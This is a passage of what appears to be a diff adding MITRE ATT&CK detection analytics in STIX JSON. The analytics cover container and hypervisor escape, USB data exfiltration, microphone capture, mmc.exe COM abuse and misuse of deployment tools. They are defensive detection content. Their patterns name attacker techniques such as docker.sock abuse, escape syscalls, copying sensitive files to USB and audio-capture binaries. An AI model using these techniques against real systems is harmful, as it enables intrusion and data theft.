"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "macos:unifiedlog", + "channel": "Dylib loaded from abnormal location" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedDylibPaths", + "description": "Baseline directories for dylib loading." + }, + { + "field": "PlistMonitors", + "description": "Specific plist files used for persistence monitoring." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fc9161ef-3cab-45f5-a585-d78778d72f2b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0219#AN0612", + "external_id": "AN0612" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0612", + "description": "Detection of container escape attempts via bind mounts, privileged containers, or abuse of docker.sock. Defenders may observe anomalous volume mount configurations (e.g., hostPath to / or /proc), unexpected privileged container launches, or use of container administration commands to access host resources. These events typically correlate with subsequent process execution on the host outside of normal container isolation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953", + "name": "docker:daemon", + "channel": "container create/start with privileged flag or host volume mount" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d46272ce-a0fe-4256-855e-738de7bb63ee", + "name": "kubernetes:apiserver", + "channel": "Pod spec with hostPath or privileged securityContext" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedHostPaths", + "description": "List of directories permitted for hostPath volumes. Any access beyond these paths may be suspicious." + }, + { + "field": "PrivilegedContainerThreshold", + "description": "Number of privileged container launches expected in the environment. Exceeding this may indicate adversary behavior." + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0021ecae-778a-4726-aa66-1cf4ca01943e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0219#AN0613", + "external_id": "AN0613" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0613", + "description": "Detection of Linux container escape attempts via syscalls (`unshare`, `keyctl`, `mount`) or process execution outside container namespaces. Defenders may correlate unusual system calls from containerized processes with subsequent process creation on the host or modification of host resources.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "auditd:SYSCALL", + "channel": "unshare, mount, keyctl, setns syscalls executed by containerized processes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "linux:Sysmon", + "channel": "process creation events linked to container namespaces executing host-level binaries" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SyscallWhitelist", + "description": "Expected syscalls by containerized workloads. Deviations may signal an escape attempt." + }, + { + "field": "TimeWindow", + "description": "Defines correlation window (e.g., 60s) between suspicious syscalls and follow-on host process activity." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--81e2b983-2159-47d1-9ec1-a5c863faa1a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0219#AN0614", + "external_id": "AN0614" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0614", + "description": "Detection of Windows container escape attempts by observing processes accessing host directories, symbolic link abuse, or privilege escalation attempts. Defenders may detect anomalous process execution with access to system-level directories outside of container boundaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RestrictedHostDirs", + "description": "Critical system paths containers should not access (e.g., C:\\Windows, C:\\ProgramData)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9f5f193f-6aef-4586-a047-492b0c651001", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0219#AN0615", + "external_id": "AN0615" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0615", + "description": "Detection of ESXi escape attempts by monitoring for anomalies in hypervisor logs such as unexpected VM operations, privilege escalation events, or attempts to load malicious kernel modules within the hypervisor environment.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--23e4ee78-26f3-4fcf-ba43-ab953962f96c", + "name": "esxi:vmkernel", + "channel": "VM exit/entry anomalies, unexpected hypercalls, or kernel module loading" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedKernelModules", + "description": "Modules permitted in the hypervisor. Loading any module outside of this list may indicate compromise." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--67ff7cc5-7b9b-4d15-b115-b55c3d164c64", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0220#AN0616", + "external_id": "AN0616" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0616", + "description": "Detects USB device insertion followed by high-volume or sensitive file access and staging activity by suspicious processes or accounts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "WinEventLog:System", + "channel": "EventCode=2003" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SensitiveFilePathRegex", + "description": "Match data staging or export paths (e.g., *.docx, *.csv, *.db) to USB volume letters." + }, + { + "field": "UserContext", + "description": "Limit to users who do not normally use removable devices (e.g., service accounts)." + }, + { + "field": "TimeWindow", + "description": "Correlate events within a short period following USB insert (e.g., 5\u201310 minutes)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9cf3c7bb-296e-445a-ba30-012060b9ccac", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0220#AN0617", + "external_id": "AN0617" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0617", + "description": "Detects USB block device mount followed by file access in sensitive directories or high-volume copy operations by user-controlled processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open, read" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "auditd:SYSCALL", + "channel": "Kernel Device Events - USB Block Devices" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MountPath", + "description": "Look for /media/, /mnt/, /run/media/ paths associated with removable storage." + }, + { + "field": "CopyCommandSignature", + "description": "Detect rsync, cp, tar, zip activity writing to USB mount point." + }, + { + "field": "AccessRateThreshold", + "description": "Define abnormal access patterns (e.g., >100 files in <5 min)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9d7fd025-d8eb-48ab-8fca-df6b09761aec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0220#AN0618", + "external_id": "AN0618" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0618", + "description": "Detects external volume mount with Finder, Terminal, or script-initiated file copy from user profiles, sensitive folders, or cloud storage sync directories to USB.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "macos:unifiedlog", + "channel": "Volume Mount + Process Trace + File Read" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "fs:fsusage", + "channel": "Disk Activity Tracing" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DriveLabelFilter", + "description": "Flag removable volumes with suspicious or default names (e.g., NO NAME, BACKUP_01)." + }, + { + "field": "ScriptExecutionContext", + "description": "Watch for shell or AppleScript execution tied to USB copy." + }, + { + "field": "VolumeMountFrequency", + "description": "Detect repeated or abnormal device mounts during work hours." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5aaad268-48fb-4826-9f68-b666e1b4a3bf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0221#AN0619", + "external_id": "AN0619" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0619", + "description": "Unusual or unauthorized processes accessing microphone APIs (e.g., winmm.dll, avrt.dll) followed by audio file writes to user-accessible or temp directories.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventlog:Security", + "channel": "EventCode=4688" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time span in which the process accesses audio APIs and writes files, to reduce false positives." + }, + { + "field": "TargetProcess", + "description": "Set of approved processes known to legitimately use microphone (e.g., Zoom, Teams)." + }, + { + "field": "WriteDirectory", + "description": "Allowlist of paths where legitimate apps store audio (e.g., user media folders)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3ac9b4c2-9137-4d20-9619-01029d656874", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0221#AN0620", + "external_id": "AN0620" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0620", + "description": "Processes accessing ALSA/PulseAudio devices or executing audio capture binaries like 'arecord', followed by file creation or suspicious child process spawning.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "linux:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "write" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutableName", + "description": "Capture binaries like arecord, parecord, or ffmpeg." + }, + { + "field": "DevicePath", + "description": "Log attempts to access /dev/snd/*, /dev/dsp, /proc/asound/*." + }, + { + "field": "UserContext", + "description": "Whether the user has audio access rights or is running under elevated privileges." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f79a68ff-07f4-49ba-849b-9edb636f0b39", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0221#AN0621", + "external_id": "AN0621" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0621", + "description": "Processes invoking AVFoundation or CoreAudio frameworks, accessing input devices via TCC logs or Unified Logs, followed by writing AIFF/WAV/MP3 files to disk.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "macos:unifiedlog", + "channel": "audio APIs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "Apple TCC Logs", + "channel": "Microphone Access Events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "fs:fsusage", + "channel": "File IO" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FrameworkCall", + "description": "CoreAudio vs. AVFoundation vs. lower-level device access APIs." + }, + { + "field": "TargetDirectory", + "description": "Suspicious file drops (e.g., ~/Library/Caches/, /tmp/, nonstandard user folders)." + }, + { + "field": "AnomalousParent", + "description": "Unexpected parent-child relationship between non-media apps and AV capture." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e6f38f76-4e60-4b8a-881c-5d3f206e912c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0222#AN0622", + "external_id": "AN0622" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0622", + "description": "Abuse of mmc.exe to execute non-Microsoft or user-staged .msc files and malicious COM CLSIDs. Behavioral chain: (1) suspicious mmc.exe invocation with /a or -Embedding and non-standard .msc path \u2192 (2) COM activation of non-baseline CLSIDs by mmc.exe \u2192 (3) mmc.exe loads non-baseline DLLs (user-writable/UNC/unsigned) \u2192 (4) optional network/DNS activity from mmc.exe.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=12" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "WinEventLog:Microsoft-Windows-COM/Operational", + "channel": "CLSID activation events where ProcessName=mmc.exe and CLSID not in allowed baseline" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window (e.g., 5\u201310 minutes) tying .msc creation \u2192 mmc.exe start \u2192 module loads \u2192 COM/net activity." + }, + { + "field": "AllowedMSCList", + "description": "Set of Microsoft-supplied .msc names/paths allowed in the environment to suppress noise." + }, + { + "field": "SuspiciousMSCPathRegex", + "description": "Regex for user-writable and network paths indicating risky .msc staging (Users, AppData, Downloads, Desktop, UNC)." + }, + { + "field": "AllowedCLSIDs", + "description": "Baseline of CLSIDs expected to be activated by mmc.exe; alert on unknown/new." + }, + { + "field": "ParentProcessAllowList", + "description": "Expected parents for mmc.exe (explorer.exe, services) vs. unusual (powershell, wscript, office apps)." + }, + { + "field": "SignedToUnsignedTransition", + "description": "Flag when signed mmc.exe results in loading unsigned DLLs." + }, + { + "field": "ExternalIPAllowlist", + "description": "Approved external ranges/domains to exclude when mmc.exe makes network requests." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--39ec0aa6-935a-44d3-b206-211981dec3bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0223#AN0623", + "external_id": "AN0623" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0623", + "description": "Detects SCCM, Intune, or remote push execution spawning scripts or binaries from SYSTEM context or unusual consoles (e.g., cmtrace.exe launching PowerShell or cmd.exe).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Application", + "channel": "SCCM, Intune logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentImageList", + "description": "Allowlist of known SCCM-related binary spawners (e.g., 'CCMExec.exe')" + }, + { + "field": "UserContext", + "description": "Expected deployment activity from scheduled system accounts" + }, + { + "field": "TimeWindow", + "description": "Unusual deployment timing outside standard maintenance hours" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bbb8adb2-434a-483e-af3c-4843241e2158", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0223#AN0624", + "external_id": "AN0624" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0624", + "description": "Detects remote scripts or binaries deployed via Puppet, Chef, Ansible, or shell scripts from orchestration servers executing outside maintenance windows or in unmanaged nodes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DeployingHostAllowList", + "description": "Approved orchestration or jump box IPs" + }, + { + "field": "ScriptExecutionBaseline", + "description": "Expected scripts, interpreters, or package managers used" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--94e3c24f-01ee-45bc-89c0-7024ada7cc66", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0223#AN0625", + "external_id": "AN0625" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0625", + "description": "Detects script or binary execution initiated via JAMF, Munki, or custom MDM agents outside of baseline, or JAMF launching new Terminal or osascript processes from remote command payloads.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process and signing chain events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:jamf", + "channel": "RemoteCommandExecution" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SigningAuthorityList", + "description": "Expected signing authorities for JAMF and MDM scripts" + }, + { + "field": "RemoteCommandInterval", + "description": "Frequency of remote execution from MDM servers" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2e6218d1-1f84-4dc5-8ab5-c24835aafbab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0223#AN0626", + "external_id": "AN0626" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0626", + "description": "Detects cloud-native software deployment or management (e.g., SSM Run Command, Intune) initiating script execution on endpoints outside expected org IDs, admin groups, or maintenance windows.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "AWS:CloudTrail", + "channel": "SSM RunCommand" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "IAMRoleAllowList", + "description": "Approved deployment administrators or service accounts" + }, + { + "field": "ExecutionTargetList", + "description": "Expected endpoints targeted by SaaS deployments" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--82acd5d4-70e1-4f3e-b059-15bdc55cf4bf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0223#AN0627", + "external_id": "AN0627" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0627", + "description": "Detects central router or switch config 